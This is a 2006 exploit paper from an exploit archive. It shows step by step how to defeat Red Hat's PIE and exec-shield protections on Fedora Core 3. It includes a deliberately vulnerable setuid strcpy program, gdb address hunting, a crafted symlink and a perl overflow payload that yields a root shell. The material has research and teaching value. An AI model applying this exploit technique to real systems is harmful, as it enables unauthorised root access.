Solution To Red Hat PIE protection

EDB-ID:

13236

CVE:

N/A

Author:

Fr0z3n

Type:

papers

Platform:

Multiple

Published:

2006-03-09

                       Solution To Red Hat PIE protection
		       (Fr0z3n : zarul_shahrin@yahoo.com)	
		

 I read a great article written by Vangelis about exploiting local vulnerability under Fedora 2.
It was a great article but our Redhat Security Expert, Arjan van de Ven said that the author did not compile the vulnerable
 program into PIE executable:

"2) You did not make your application a PIE executable (you can do so
with gcc -fpie -pie vul.c -o vul ). PIE executables are in themselves
randomized, and in addition will ignore the prelink "fixing" of
addresses, and thus making it near impossible to find the address of
the app you want to exploit[1], unless you do it from the same
debugging session (but if you can attach a debugger you fully own the
app anyway) Most (if not all) network facing daemons in FC are
compiled as PIE for this reason, and we're in progress to extending
that to other "sensitive" binaries"

 Take note of this part:

"PIE executables are in themselves
randomized, and in addition will ignore the prelink "fixing" of
addresses, and thus making it near impossible to find the address of
the app you want to exploit.."

Did he say the words "Near Impossible"?

Izzit really "near impossible"? Let us check it out now,

first of all, this is the vuln program..just the same as the one in Vengelis paper:

---------------------------------vul.c----------------------------------------

int main(int argc, char *argv[])
{
        char buffer[256];
        strcpy(buffer,argv[1]);
        return 0;
}

------------------------------------------------------------------------------

Btw, all the work below was done under Fedora 3.So any improvement from the Fedora 2 would be in this version.
I started this work exactly after Installing it which of course took a longer time than finding out how to exploit this program.
So no patch applied.

[zarul@localhost exercise]$ cat /proc/version
Linux version 2.6.9-1.667 (bhcompile@tweety.build.redhat.com) (gcc version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)) #1 Tue Nov 2 14:41:25 EST 2004
[zarul@localhost exercise]$

 
 ok...now let us compile our "Vulnerable" program ,  I will compile the vulnerable program as Arjan van de Ven said:

[zarul@localhost exercise]$ gcc -fpie -pie vul.c -o vul
[zarul@localhost exercise]$


[root@localhost exercise]# chown root vul
[root@localhost exercise]# chgrp root vul
[root@localhost exercise]# chmod 4755 vul
[root@localhost exercise]# ls  -la
total 40
drwsr-xr-x  2 zarul zarul 4096 Feb  9 14:20 .
drwx------  3 zarul zarul 4096 Feb  8 20:48 ..
-rw-r--r--  1 root  root   564 Feb  9 113:15 data
-rw-r--r--  1 root  root   556 Feb  9 110:31 data~
-rwxrwxr-x  1 zarul zarul 5191 Feb  8 220:48 exploit1
-rw-rw-r--  1 zarul zarul  100 Feb  8 220:48 exploit1.c
-rwsr-xr-x  1 root  root  5441 Feb  9 114:20 vul
-rw-rw-r--  1 zarul zarul  113 Feb  8 118:39 vul.c

Ok..Did I do the correct way bro?

ok now, let us do some debugging..

[root@localhost exercise]# gdb ./vul
GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b main
Breakpoint 1 at 0x5d4
(gdb) r
Starting program: /home/zarul/exercise/vul
(no debugging symbols found)...Breakpoint 1 at 0xf6fff5d4
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0xf6fff5d4 in main () from /home/zarul/exercise/vul
(gdb) disas execl
Dump of assembler code for function execl:
0xf6f3f720 <execl+0>:   push   %ebp
0xf6f3f721 <execl+1>:   mov    %esp,%ebp
0xf6f3f723 <execl+3>:   lea    0x10(%ebp),%ecx
0xf6f3f726 <execl+6>:   push   %edi
0xf6f3f727 <execl+7>:   push   %esi
0xf6f3f728 <execl+8>:   push   %ebx
0xf6f3f729 <execl+9>:   sub    $0x1038,%esp
0xf6f3f72f <execl+15>:  mov    0xc(%ebp),%eax
0xf6f3f732 <execl+18>:  movl   $0x400,0xfffffff0(%ebp)
0xf6f3f739 <execl+25>:  lea    0x1b(%esp),%edx
0xf6f3f73d <execl+29>:  and    $0xfffffff0,%edx
0xf6f3f740 <execl+32>:  call   0xf6ecac71 <__i686.get_pc_thunk.bx>
0xf6f3f745 <execl+37>:  add    $0x998af,%ebx
0xf6f3f74b <execl+43>:  mov    %eax,(%edx)
0xf6f3f74d <execl+45>:  test   %eax,%eax
0xf6f3f74f <execl+47>:  mov    %ecx,0xffffffe8(%ebp)
0xf6f3f752 <execl+50>:  movl   $0x1,0xffffffec(%ebp)
0xf6f3f759 <execl+57>:  je     0xf6f3f7e0 <execl+192>
0xf6f3f75f <execl+63>:  movl   $0x1a,0xffffffe0(%ebp)
0xf6f3f766 <execl+70>:  jmp    0xf6f3f783 <execl+99>
0xf6f3f768 <execl+72>:  addl   $0x8,0xffffffe0(%ebp)
0xf6f3f76c <execl+76>:  mov    0xffffffe8(%ebp),%edi
0xf6f3f76f <execl+79>:  mov    0xffffffec(%ebp),%ecx
0xf6f3f772 <execl+82>:  addl   $0x4,0xffffffe8(%ebp)
0xf6f3f776 <execl+86>:  mov    (%edi),%eax
0xf6f3f778 <execl+88>:  mov    %eax,(%edx,%ecx,4)
0xf6f3f77b <execl+91>:  inc    %ecx
---Type <return> to continue, or q <retturn> to quit---

....

wtf? Where is the NULL pointer dereference protection?

Is the protection ON?Let me check it 1st..

[zarul@localhost exercise]$ cat /proc/sys/kernel/exec-shield
2
[zarul@localhost exercise]$

the echoed value is 2..what it means? Let us check the latest "Exec-Shield" Document.It says that:

"2  This option is similar to 1,but all binaries which do not have a  PTGNUSTACK entry are executed without executable stack.
 This option is useful to prevent introducing problems by importing binaries.Every unmarked binary which does need an executable stack
 would have to be treated with execstack add the program header entry."

so should be ok right?

let us check exec-shield-randomize now..

[zarul@localhost exercise]$ cat /proc/sys/kernel/exec-shield-randomize
1
[zarul@localhost exercise]$

The value is 1.So it means that the stack addresses etc.. are randomized.
 
"- 1 — Randomized VM mapping is enabled"

let us check the last thing... 

[zarul@localhost exercise]$ eu-readelf -l vul | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RW  0x4
[zarul@localhost exercise]$

 from the documentation, the present of the flag value RW means the stack is not executable.

So,everything sounds secure right?But I don't think so!

After I found the execl+3 address, I realized about something, so I compiled another vulnerable program called vul2 but this time without the PIE option.
Then I display the contents of section headers with objdump:

[zarul@localhost exercise]$ objdump -h  vul2 

vul2:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048114  08048114  00000114  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048128  08048128  00000128  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .hash         0000002c  08048148  08048148  00000148  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .dynsym       00000060  08048174  08048174  00000174  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynstr       00000060  080481d4  080481d4  000001d4  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .gnu.version  0000000c  08048234  08048234  00000234  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version_r 00000020  08048240  08048240  00000240  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .rel.dyn      00000008  08048260  08048260  00000260  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.plt      00000010  08048268  08048268  00000268  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .init         00000017  08048278  08048278  00000278  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 10 .plt          00000030  08048290  08048290  00000290  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .text         000001a4  080482c0  080482c0  000002c0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .fini         0000001a  08048464  08048464  00000464  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .rodata       00000008  08048480  08048480  00000480  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 14 .eh_frame     00000004  08048488  08048488  00000488  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 15 .ctors        00000008  0804948c  0804948c  0000048c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 16 .dtors        00000008  08049494  08049494  00000494  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 17 .jcr          00000004  0804949c  0804949c  0000049c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .dynamic      000000c8  080494a0  080494a0  000004a0  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .got          00000004  08049568  08049568  00000568  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .got.plt      00000014  0804956c  0804956c  0000056c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .data         0000000c  08049580  08049580  00000580  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .bss          00000004  0804958c  0804958c  0000058c  2**2
                  ALLOC
 23 .comment      00000126  00000000  00000000  0000058c  2**0
                  CONTENTS, READONLY
[zarul@localhost exercise]$

Ok,Now see the contents of section headers of our vulnerable program compiled with the PIE option:

[zarul@localhost exercise]$ objdump -h  vul

vul:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  00000114  00000114  00000114  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  00000128  00000128  00000128  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .hash         000000a4  00000148  00000148  00000148  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .dynsym       00000160  000001ec  000001ec  000001ec  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynstr       00000093  0000034c  0000034c  0000034c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .gnu.version  0000002c  000003e0  000003e0  000003e0  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version_r 00000030  0000040c  0000040c  0000040c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .rel.dyn      00000030  0000043c  0000043c  0000043c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.plt      00000018  0000046c  0000046c  0000046c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .init         00000017  00000484  00000484  00000484  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 10 .plt          00000040  0000049c  0000049c  0000049c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .text         0000020c  000004dc  000004dc  000004dc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .fini         0000001a  000006e8  000006e8  000006e8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .rodata       00000008  00000704  00000704  00000704  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 14 .eh_frame     00000004  0000070c  0000070c  0000070c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 15 .ctors        00000008  00001710  00001710  00000710  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 16 .dtors        00000008  00001718  00001718  00000718  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 17 .jcr          00000004  00001720  00001720  00000720  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .dynamic      000000c8  00001724  00001724  00000724  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .got          00000010  000017ec  000017ec  000007ec  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .got.plt      00000018  000017fc  000017fc  000007fc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .data         0000000c  00001814  00001814  00000814  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .bss          00000004  00001820  00001820  00000820  2**2
                  ALLOC
 23 .comment      00000126  00000000  00000000  00000820  2**0
                  CONTENTS, READONLY
[zarul@localhost exercise]$

Ahaks!!Can you see those NULL bytes?So does it mean that we can't use the method used by Vangelis in his paper?My answer is YES!It is still possible to use that method!

But,as some of you might ask,HOW?

Ok,this is how we are going to do it...

As you guys know, with those NULL bytes,we can't manipulate the _GLOBAL_OFFSET_TABLE_ as Vangelis did in his paper,but it doesn't mean we can't manipulate other parts!

Remember!As an exploit writer,we must always be creative when writing our exploits as we need to be "one-step-ahead" of those people that call themselves as "security expert"!

So, after playing around with the program I found a lot of places that we can manipulate and this is one of them:

 (gdb) x/8x 0xf6fd9d60
0xf6fd9d60 <unsafe_state+16>:   0x0000001f      0x00000003      0xf6fd90c0      0xf6fd76b4
0xf6fd9d70 <severity_list+4>:   0x00000000      0x00000000      0x00000000      0x00000000

Yehaaa!!!! and now this will be our file name..


(gdb) x/2x 0xf6fd90c0
0xf6fd90c0 <__libc_malloc_initialized>: 0xffffffff      0x00000003
(gdb)

Yippies! Let us make a symbolic link now!

[zarul@localhost exercise]$ ln -ns /home/zarul/exercise/exploit1 "`perl -e 'print "\xff\xff\xff\xff\x03"'`" 
[zarul@localhost exercise]$

Ok..Are you ready kids? We will now exploit the program!

[zarul@localhost exercise]$ ./vul `perl -e 'print"A"x264,"\x60\x9d\xfd\xf6\x23\xf7\xf3\xf6"'`
sh-3.00# id
uid=0(root) gid=500(zarul) groups=500(zarul)
sh-3.00#

Oh My Goat! We defeated the improved "exec-barrier" for the second time! 


Well, I don't know what Arjan van de Ven is going to say after he reads this paper but I'm going to be honest..I know that you are going to make "just-another-fix" that will decrease the program perfomance.But all I can say..you are just wasting your time cause eventually someone will come out with a solution.
Even now I believe there are more ways to defeat this protection and this is just one of them.
Who knows,maybe there is even a way to remote exploit a vulnerable program!
But,I don't think its worth to talk  about it yet.
So, why not we use this valuable time to educate people on how to write a secure program instead of wasting our time with junks? 
Think about it, How many people you think will install this kind of protection that will surely decrease the system performance and at the same time there is no gurantee that it will work as promised.

I know this paper might sound lame for some people, so for comments and critism: zarul_shahrin@yahoo.com
( Btw, Sorry for my poor English)


Greetz:
			CMN   == One of the people out there that I respect the most.
 
                     Vangelis == For such a great paper!I wish that I 
                                 will have the chance to know you.
                     
                       Beist  == I don't know who you really are but I think
                                 you should be an intelligent person too.

              Linus Torvalds  == For creating such a wonderful OS .

                      Red Hat == I'll still use this distro no matter what 
                                 happen .. 

Some of the Kiddies out there == That started to learn how to be something   
                                 "REAL". I believe some of you guys might be 
                                 "someone" one day.So stop defacing and  
                                 learn programming.
 	 

References:
 How to Exploit Overflow Vulnerability Under Fedora Core By Vangelis.

 exec-shield description:
	http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield (OLD)
	http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf
 description of security enhancements in RHEL/FC
	http://people.redhat.com/drepper/nonselsec.pdf


- EOF -



# milw0rm.com [2006-03-09]